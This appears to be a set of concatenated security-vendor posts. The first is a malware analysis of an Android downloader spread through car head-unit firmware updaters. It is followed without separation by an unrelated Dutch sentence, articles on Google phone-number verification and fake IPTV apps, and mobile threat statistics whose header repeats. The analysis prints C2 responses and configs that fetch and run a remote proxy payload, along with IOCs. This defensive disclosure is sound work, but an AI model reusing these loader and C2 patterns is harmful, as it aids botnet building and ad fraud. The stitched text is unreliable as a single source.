• We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
• The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
• We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.

Kaspersky solutions detect the threats described below under the following detection names:

• HEUR:Trojan-Dropper.AndroidOS.Agent.vu
• HEUR:Trojan-Downloader.AndroidOS.Agent.ov
• HEUR:Trojan-Proxy.AndroidOS.Zhima.*
• HEUR:Trojan.AndroidOS.Vo1d.*

Head unit firmware overview

A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.

In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.

Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.

It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.

During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.

Below is the entire infection chain:

Let’s look at exactly how these head units became infected.

The TWCore app

TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.

The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.

The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.

Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.

Next, we’ll break down the malware installed by TWCore: the JarService dropper.

Stage 1: the JarService dropper

As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.

In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.

Stage 2: the loader

This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:

{
    "userId": "REDACTED",
    "dexVersion": "1.7",
    "dexType": 1,
    "channelId": "2039",
    "packageName": "com.tw.jar1",
    "appVersion": 12,
    "appName": "JarService"
}

In response to the POST request, the C2 server returns a link for downloading the stage 3 payload. An example of a C2 response is shown below.

{
    "code": 200,
    "data": {
        "dexUrl": "hxxp://144.217.243[.]201/vr34der34/dex3.68.png",
        "dexVersion": 3.680,
        "status": 0
    }
}

The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.

In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.

While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.

Stage 3: clicker / reverse proxy loader

In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.

{
    "code": 100,
    "data": {
        "configVersion": 3.820,
        "hosts": ["hxxp://t2.kshahnd[.]sbs", "hxxp://t2.mdsjhd[.]sbs", "hxxp://t2.nmnsny[.]sbs", "hxxps://t2.nmnsny[.]sbs"],
        "interval": 5500000,
        "reportApi": "/cpc/api/report",
        "tagName": "config",
        "taskApi": "/cpc/api/task",
        "updates": ["hxxp://a2.kshahnd[.]sbs", "hxxp://a2.mdsjhd[.]sbs", "hxxp://a2.nmnsny[.]sbs", "hxxps://a2.nmnsny[.]sbs"],
        "vn": 1.010
    }
}

If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.

{
    "code": 200,
    "data": [{
        "productId": 979,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"107.151.248[.]132\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 1337\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1778650942
    }, {
        "productId": 1019,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"128.14.210[.]58\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 9999\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1766001509
    }, {
        "productId": 3505,
        "script": "{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}",
        "version": 1776656317
    }],
    "msg": ""
}

The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.

At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.

Command name	Description	Arguments
return	Return a value from SharedPreferences.	key: the key whose value should be returned
copy	Set the contents of the clipboard.	text: the key whose value from SharedPreferences is returned as the clipboard contents url: a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with      (5 spaces) used as a separator
http	Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key.	url: the resource address method: the HTTP method name (optional) startLabel: a marker for the start of the data to save from the resource (optional) endLabel: a marker for the end of the data to save from the resource (optional) valueLabel: the key under which to save the value (optional) header: a dictionary of headers for the HTTP request (optional) content: the content of the POST request (optional)
web	Open a link in the WebView and execute arbitrary JavaScript code within it.	url: the link to open in the WebView js: base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent corejs: JavaScript code to execute when the resource loads in the WebView (optional) param: a string dictionary of parameters for launching the WebView client: if this key is present, WebViewClient is used to handle redirects manually time: task timeout
loadlib	Not fully implemented at the time of publishing this report.	–
loadlib2	Download and execute arbitrary code.	url: the address to download the payload from name: the name of the module being downloaded md5: the MD5 hash of the payload clear: a comma-separated list of payload names to delete (optional) params: an array of parameters to launch the payload with className: the class name of the payload entry point method: the name of the virtual method at the payload entry point cmethod: the name of the static method used to instantiate the entry-point class (optional) thread: a flag; the payload runs in a separate thread if this flag is not set reload: a flag that, when set, restarts already loaded modules
loadlib3	Not fully implemented at the time of publishing this report.	–
deeplink	Open a resource in the browser.	url: a link to the resource
traceroute	Check resource availability via an ICMP ping.	host: comma-separated list of resources to check

However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.

While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.

Attribution

While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.

While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.

During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.

On the registration page hosted at admin.uipoxy[.]com, we also found the string copyright © 2020 proxyforu[.]com all rights reserved, which linked to hxxps://proxyforu[.]com, the website of ProxyForU, another vendor of residential proxy services.

We found several similarities in the authentication APIs across all of these sites:

• The sign-in page was hosted on an admin.* subdomain.
• The sign-in page was located at /proxy/u/login.
• The signup page was located at /proxy/register?channelKey=<invitation code>.

Based on this, we believe these services are connected to MoYu Group.

Conclusion

Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.

Indicators of compromise

Stage 1: JarService

ba27951b4ee1c341f4415d033369ecd3
d63bacd6d6709dd68a10ef9d374c7835
6c2e34b30da42085240ede53ab6107d4
8b5e513144a6138a966ea59e68bf9da2
e119845877089d6f4b0a70dc7388f316

Stage 2: loader

e9f3a0dab6949ce2cddab9e0aa80ae1a

Stage 3: loader/clicker

0fbaa7092204f4b1494e0b840b014774
1dcf031c40ce456b6a36a00b0acf3d11
44b6b213a6a3f299eaf88e078de95ecb
67dc78e544ebce16b85dc7c195dfbc58
9642ae619b3165d23c6349002d1abe24
b067d5b0dbecbd6498bcdfba45dba77e
f0e3f7eba2cde91e2dedb921bab47422

zhima module

412e9243f2981bbea3894254d105b3b8
71ab5517f71866279d0d87d37f2ae320
89ef78f716a75964539f2db6520be362
a4223ce4288a230d1e6c3ff2c7639045
bd4d81cd27125ad3d9a114922d468499
c6bfb1643ac7474ed8a7b4f96a187fdb
de77c3303e93c9450424759f1741441c
f8cf8c23ff597700d471fb7767df8bac

Domains and IP addresses

xmsae[.]sbs
ishano456[.]sbs
xshaon123[.]sbs
kshahnd[.]sbs
mdsjhd[.]sbs
nmnsny[.]sbs
kookjar[.]com
ty54fgd435[.]my
ue886578433[.]online
ty4523[.]space
144.217.243[.]201
107.151.248[.]132
128.14.210[.]58

Addresses used to download JarService

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk

Hashes of TWCore (the legitimate software used to distribute JarService)

2a64c3efc11bf224aa54f24e876446c9
7a4d3ba2dacccfdda55859a5dfee2671
ea24487996eb70c1780922fb3063bcc5

Google heeft aangekondigd dat het ondersteuning voor Android 6.0 Marshmallow stopt. Daardoor worden smartphones met dit besturingssysteem kwetsbaarder voor hacks.

Starting last year, Android users have been seeing the “number is now verified” system notification more frequently. And in some cases people even find mysterious outgoing text messages in their history that they never sent.

These messages often cause confusion and even anxiety: has a virus infected the phone? Are tech giants spying on our phone numbers? Let’s break down how this feature works, and what potential risks it poses to your privacy.

Why all these phone number verifications?

The notification pops up whenever Google’s phone number verification feature is triggered on your device.

Its main job is to make sure that the SIM card tied to a specific phone number is physically inside the phone. Once verified, that phone number automatically links to all active Google accounts on the device.

There are several key services that rely on the verification. Most importantly, it drives Rich Communication Services (RCS) — the modern standard for “rich” messaging right inside your standard text messaging app. It feels like a popular chat app, but without the need to install anything extra. Unlike iMessage, which is locked to Apple’s ecosystem, RCS works across compatible smartphones on various platforms since it’s an industry standard set by carriers rather than tech giants. Since recently, both Apple and Android users have been able to exchange RCS messages. For this feature to work in the Google Messages app, Google needs ongoing confirmation that your SIM card is active. If you pull out your SIM card, RCS chats will keep working for about eight days before turning off automatically.

According to Google, phone number verification serves several other purposes as well:

• Account security and recovery. A verified phone number enables quick sign-ins to your Google account, two-factor authentication, and easy password recovery.
• Emergency services and device location. This includes Find My Device, remote phone lock, and sharing your location with emergency responders — including via satellite messaging on the Pixel 9 and certain other modern smartphones.
• Better sharing on Google. This feature helps other people find you faster on Google Meet or Duo, use Quick Share to send you files, and see that the phone number is linked to your profile.

Google also recently confirmed that this data is used to counter scams. Verification helps block calls or text messages from spoofed numbers if both the real owner of the number and the recipient are using Android devices with verified phone numbers.

How does Google verify phone numbers?

Phone number verification technology has been around on Android for quite some time — Google was sending test SMS messages as far back as in 2019. However, it became widely visible to most users following a Google system update in September 2025. The process was baked deeper into the operating system, with number verification now running by default during initial phone setup, and re-running periodically in the background.

There are two main technical methods for the verification process. Which one your device uses depends on your mobile carrier and your version of Android.

The older method relies on hidden text messages. In the background, your smartphone sends a specialized technical text message to Google’s servers. The operating system intercepts this message before you ever see it, which is why it rarely appears in your standard text messaging app. However, due to software glitches or Android customization quirks, these texts occasionally surface in sent messages, startling users. They typically look like this: “(string of letters and numbers) Google is re-verifying the phone# of this device.” Google explicitly notes in its help documentation that standard messaging rates from your carrier may apply.

In recent years, direct carrier verification (via carrier APIs) has become the primary verification method. This approach is more modern and secure than previous ones. The smartphone sends an encrypted token containing device and SIM card identifiers to the mobile carrier, and the carrier responds with the confirmed phone number. The whole process takes just a couple of seconds and runs completely unnoticed by the user. Both global telecom giants and smaller providers have connected to this verification network. Notably, third-party apps can also tap into the results of this check through Firebase Phone Number Verification, getting confirmation from your mobile carrier about which phone number is active on the device.

“Other device data” and privacy concerns

In its official documentation, Google notes that device identifiers and SIM card data may be collected during verification. In practice, this refers to unique identifiers for the SIM card and its subscriber profile (ICCID and IMSI), as well as technical device identifiers needed to run mobile networks. Google also explicitly states that it does not sell your personal information, including your phone number, to anyone.

Naturally, sending additional unique identifiers to Google — especially given the scale of its advertising business — always raises concern among privacy-conscious users. Here’s what you should keep in mind:

Metadata collection. To run RCS, Google exchanges data with your mobile carrier. Even when the content of RCS messages is encrypted, metadata — such as who is messaging whom and when — can still be stored on your carrier’s servers, and in some cases, on Google’s servers. As cybersecurity experts at the Electronic Frontier Foundation point out, if privacy is your top priority, you’re better off sticking to dedicated encrypted messaging apps.

Linked accounts. If you have both a personal and a work Google account (or a personal and a family account) set up on the same phone, the verified number will automatically link to both profiles. The operating system does not offer built-in tools to separate numbers for different accounts on a single device.

Phone number leaks. Apps on your device can already access various user identifiers, including your phone number. However, this verification system makes it easier to link multiple phone numbers to a user who has multiple Google accounts. And while Google states that it never sells phone numbers, you cannot say the same with confidence about obscure third-party Android developers.

On by default. The feature is enabled out of the box, and most users have no idea their device is silently querying their carrier in the background. While you can opt out in your Google settings once you notice it, there’s no guarantee that any data already collected will actually be deleted.

Turning off verification — why and how

For most users, verification is genuinely helpful. It simplifies account recovery, makes finding a lost phone easier, powers modern text messaging features, and assists emergency services when every second counts.

However, if you want to minimize the amount of metadata sent to Google, mobile carriers, and other data brokers, you can manually disable the feature. Here’s how:

1. Open your Android smartphone’s settings.
2. Tap Google, select the account at the top, and switch to the All services tab.
3. Under Privacy and security, tap Phone number verification.
4. Turn off automatic phone number verification.

If you also want to disable Better sharing on Google, go to Settings → Google → Manage your Google Account → Personal info → Contact info → Phone, select your number, and turn off the setting.

If you have multiple Google accounts on your phone, you’ll need to repeat these steps for each one. Unfortunately, verification sometimes turns itself back on automatically, and there’s no reliable way to prevent this on standard consumer phones with stock software.

Keep in mind that disabling verification means losing access to RCS chats in Google Messages — forcing you to fall back on basic SMS, or switch to alternative secure messaging apps. You also won’t be able to use that number for quick account recovery should you forget your password.

To thoughtfully customize your privacy settings across all your devices — regardless of the operating system, browser, or app — check out our free online tool, Privacy Checker.

Curious about other privacy risks you might not even know exist? Check out our other deep dives, here:

• Post-breakup digital hygiene: what to check and shut down
• What happens in the bedroom stays in the bedroom
• Is telehealth actually safe?
• Predator vs. iPhone: the art of invisible surveillance
• Brain drain: vulnerabilities in mental health apps

Threat actors are already gearing up for this year’s biggest football (soccer) event, the World Cup 2026. With millions of fans looking for ways to stream matches online, many will turn to IPTV apps to watch live TV broadcasts over the internet. It’s no surprise, then, that cybersecurity researchers have discovered multiple campaigns over the past few months where malware was disguised as fake Android IPTV apps.

In this post, we discuss what IPTV apps are, how criminals use fake versions to spread malware, what this malware is capable of, and, most importantly, how to avoid becoming a victim.

What are IPTV apps?

IPTV stands for Internet Protocol Television. This technology delivers TV content over the internet instead of through cable, over-the-air antennas, or satellites. Naturally, the simplest and most common examples of IPTV are the official platforms of TV networks, which can include both websites and dedicated apps.

However, alongside official options, pirate IPTV services also exist. They usually lure users with free or dirt-cheap access to content that can otherwise be hard to find without expensive subscriptions — most notably broadcasts of various sporting events; football matches in particular.

As is typically the case with pirated content, these apps are blocked from official app stores, forcing users to download them from third-party sites. Consequently, the risk of using these services isn’t tied to IPTV technology itself, but rather to the fake apps and modified APK files distributed under the guise of well-known platforms — both official and pirated.

Massiv banking Trojan disguised as IPTV apps

For instance, in February researchers found the Massiv banking Trojan distributed under the guise of fake IPTV apps. Even then, experts noted that this wasn’t the only malware leveraging this tactic — several others were also spotted in the wild. The primary targets of these IPTV-mimicking malicious fakes have mostly been users in Portugal, Spain, France, and Türkiye.

In most cases, the discovered fake IPTV apps lacked the advertised functionality, so users didn’t get access to any content after installing the apps. Instead, the fake app would open the website of a legitimate IPTV service in a built-in browser to mimic normal functioning and avoid raising user suspicion.

Of course, the most interesting activity happened out of the user’s sight. These are some of the features the malware did have:

• Displaying fake windows on top of legitimate ones: fake forms for entering bank details or signing in to official services, as shown in the screenshot below.
• Activating a keylogger: recording and transmitting screen keyboard taps to the attackers.
• Hijacking control of the compromised device.

Perseus steals valuable information from users’ notes

In March, researchers reported on a new campaign where several fake IPTV apps were used to distribute an even more advanced and feature-rich malware strain: Perseus.

Research into Perseus shows that the malware is based on the source code of an Android banking Trojan called Cerberus, which leaked nearly six years ago. Perseus comes in two different versions: Turkish and English. The English-language version is more advanced and shows clear signs of AI-driven refinement.

Perseus abuses Accessibility Services, a set of Android features originally designed to make life easier for users with severe visual impairments. Fraudsters learned long ago how to leverage this tool to steal data from Android devices — a topic we’ve covered in detail across several of our posts.

By abusing Accessibility Services, Perseus gains remote control over the victim’s device. Here’s what it can do:

• Continuously capture and exfiltrate screenshots.
• Send a structured map of the device’s UI for remote manipulation.
• Mimic taps, swipes, text input, long presses, and other UI interactions.
• Turn on the screen, launch apps, and block them from running.
• Trigger a pitch-black screen overlay to hide its activities.
• Log keystrokes.

On top of that, the English-language version of Perseus boasts another notable feature. The malware can hunt for sensitive information like passwords, recovery phrases, and financial data across an entire range of note-taking apps: Google Keep, Xiaomi Notes, Samsung Notes, ColorNote, Evernote, Microsoft OneNote, and Simple Notes.

All of these capabilities help criminals drain football fans’ money not just from various banking services, but from cryptocurrency apps as well.

How not to let cybercrooks ruin your World Cup

The World Cup is just around the corner, and millions of fans worldwide will definitely want to tune in to this year’s premier football event. Past experience shows that cybercriminals frequently cash in on major spectacles like this. So, how can you watch the  matches safely?

• Don’t download apps from unofficial stores.
• Even when downloading an app from an official store — since malware occasionally slips through the cracks there, too— read the reviews carefully. Users who have been burned by fakes and malware often leave comments to warn others.
• Install a robust security app to keep all your devices safe from malware.
• Avoid storing passwords or other sensitive information in note-taking apps. To ensure your data and finances stay secure, use a reliable password manager. By the way, Kaspersky Password Manager includes an encrypted note-taking feature, allowing you to store your valuable information safely.

You can’t even watch TV safely anymore these days! Check out other threats facing TV lovers:

• Is your TV box renting out your network?
• The perfect storm of Android threats
• Are your TV, smartphone, and smart speakers eavesdropping on you?
• The hidden risks of cheap Android devices

IT threat evolution in Q1 2026. Mobile statistics
IT threat evolution in Q1 2026. Non-mobile statistics

In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.

To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.

The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.

The quarter in numbers

According to Kaspersky Security Network, in Q1 2026:

• More than 2.67 million attacks utilizing malware, adware, or unwanted mobile software were prevented.
• The Trojan-Banker category was the prevalent mobile malware threat with a 52.96% share of total detected applications.
• More than 306,000 malicious installation packages were discovered, including:
  • 162,275 packages related to mobile banking Trojans;
  • 439 packages related to mobile ransomware Trojans.

Quarterly highlights

The number of malware, adware, or unwanted software attacks on mobile devices decreased to 2,676,328 in Q1, down from 3,239,244 in the previous quarter.

Attacks on users of Kaspersky mobile solutions, Q3 2024 — Q1 2026 (download)

The overall drop in attack volume stems primarily from a reduction in adware and RiskTool detections. Nonetheless, this trend does not equate to a lower risk for mobile users. As shown later in this report, the number of unique users targeted by these threats remained relatively stable.

In Q1, Synthient researchers identified a link between the notorious Kimwolf botnet and the IPIDEA proxy network. This network was later taken down in cooperation with GTIG.

In early 2026, we discovered several apps on Google Play and the App Store that contained a new version of the SparkCat crypto stealer.

The Trojan code, meticulously concealed, was embedded into the infected Android apps. The obfuscated malicious Rust library was decrypted using a Dalvik-like virtual machine custom-built by the attackers. The iOS version of the malware also underwent several changes; specifically, the attackers began leveraging Apple’s proprietary Vision framework for optical character recognition (OCR).

Mobile threat statistics

The number of Android malware samples saw a slight increase compared to Q4 2025, reaching a total of 306,070.

Detected malicious and potentially unwanted installation packages, Q1 2025 — Q1 2026 (download)

The detected installation packages were distributed by type as follows:

Detected mobile apps by type, Q4 2025* — Q1 2026 (download)

* Data for the previous quarter may differ slightly from previously published figures due to certain verdicts being retrospectively revised.

Threat actors once again ramped up the production of new banking Trojans; as a result, this category overtook all others in volume, accounting for more than half of all installation packages.

Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q4 2025 — Q1 2026 (download)

* The total percentage may exceed 100% if the same users encountered multiple attack types.

Following the surge in banking Trojan installation packages, the number of associated attacks also rose, causing Trojan-Banker apps to climb one spot in terms of their share of targeted users. Mamont variants emerged as the most prevalent banking Trojans, accounting for 73.5% of detections, with the rest of the users encountering Faketoken, Rewardsteal, Creduz, and other families.

Yet banking Trojans were still outpaced by adware and RiskTool-type unwanted apps when measured by the total number of affected users. Despite a decrease in their share of installation packages, these two app types retained their positions as the top two threats by attack volume. The most common adware detections involved HiddenAd (44.9%) and MobiDash (38.1%), while most frequently seen RiskTool apps were Revpn (67%) and SpyLoan (20.5%).

TOP 20 most frequently detected types of mobile malware

Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Backdoor.AndroidOS.Triada.ag	2.62	7.09	+4.48	+10
DangerousObject.Multi.Generic.	6.75	5.84	-0.92	-1
DangerousObject.AndroidOS.GenericML.	3.52	5.51	+1.99	+6
Trojan-Banker.AndroidOS.Mamont.jo	0.00	5.28	+5.28
Trojan.AndroidOS.Fakemoney.v	5.40	3.44	-1.96	-1
Trojan-Downloader.AndroidOS.Keenadu.l	0.00	3.35	+3.35
Trojan-Banker.AndroidOS.Mamont.jx	0.00	3.09	+3.09
Backdoor.AndroidOS.Triada.z	4.87	3.08	-1.79	-2
Trojan.AndroidOS.Triada.fe	5.01	2.98	-2.02	-4
Backdoor.AndroidOS.Keenadu.a	2.07	2.73	+0.66	+6
Trojan-Banker.AndroidOS.Mamont.jg	0.34	2.37	+2.03
Trojan.AndroidOS.Triada.hf	2.15	2.23	+0.07	+3
Trojan.AndroidOS.Boogr.gsh	2.35	2.15	-0.20	0
Trojan.AndroidOS.Triada.ii	5.68	2.07	-3.60	-11
Backdoor.AndroidOS.Triada.ae	1.91	1.76	-0.16	+3
Backdoor.AndroidOS.Triada.ab	1.79	1.72	-0.08	+3
Trojan.AndroidOS.Triada.gn	2.38	1.58	-0.80	-5
Trojan-Banker.AndroidOS.Mamont.gg	1.56	1.50	-0.06	+2
Trojan.AndroidOS.Triada.ga	1.48	1.50	+0.01	+4
Backdoor.AndroidOS.Triada.ad	0.53	1.40	+0.87	+44

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The pre-installed Triada.ag backdoor rose to the top spot; it is similar to the older Triada.z version we documented previously. Because the same variant was pre-installed across a wide range of devices, the total number of affected users is aggregated. Consequently, Triada outpaced even Mamont, as users encountered a variety of Mamont variants, causing the share of that banking Trojan to spread across multiple rows. Other pre-installed Triada variants (Triada.z, Triada.ae, Triada.ab, and Triada.ad) also made the rankings. Furthermore, we observed increasing activity from the Keenadu.a backdoor, while diverse variants of the embedded Triada Trojan remained in the rankings.

Mobile banking Trojans

Q1 2026 saw a characteristic rise in mobile banking Trojan activity, with the number of packages totaling 162,275, a 50% increase compared to the prior quarter.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q1 2025 — Q1 2026 (download)

We saw a similar growth in the previous quarter, with banking Trojan volumes rising by 50% during that period as well. Various Mamont variants accounted for the absolute majority of packages and represented nearly every entry in the rankings of most frequent banking Trojans by affected user count.

TOP 10 mobile bankers

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.jo	0.00	15.75	+15.75
Trojan-Banker.AndroidOS.Mamont.jx	0.00	9.22	+9.22
Trojan-Banker.AndroidOS.Mamont.jg	1.47	7.08	+5.61	+24
Trojan-Banker.AndroidOS.Mamont.gg	6.79	4.48	-2.32	-3
Trojan-Banker.AndroidOS.Mamont.ks	0.00	3.98	+3.98
Trojan-Banker.AndroidOS.Agent.ws	6.03	3.78	-2.25	-2
Trojan-Banker.AndroidOS.Mamont.hl	4.30	3.27	-1.03	+1
Trojan-Banker.AndroidOS.Mamont.iv	6.00	3.08	-2.92	-3
Trojan-Banker.AndroidOS.Mamont.jb	3.93	3.07	-0.86	+1
Trojan-Banker.AndroidOS.Mamont.jv	0.00	2.79	+2.79

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.

IT threat evolution in Q1 2026. Mobile statistics
IT threat evolution in Q1 2026. Non-mobile statistics

In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.

To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.

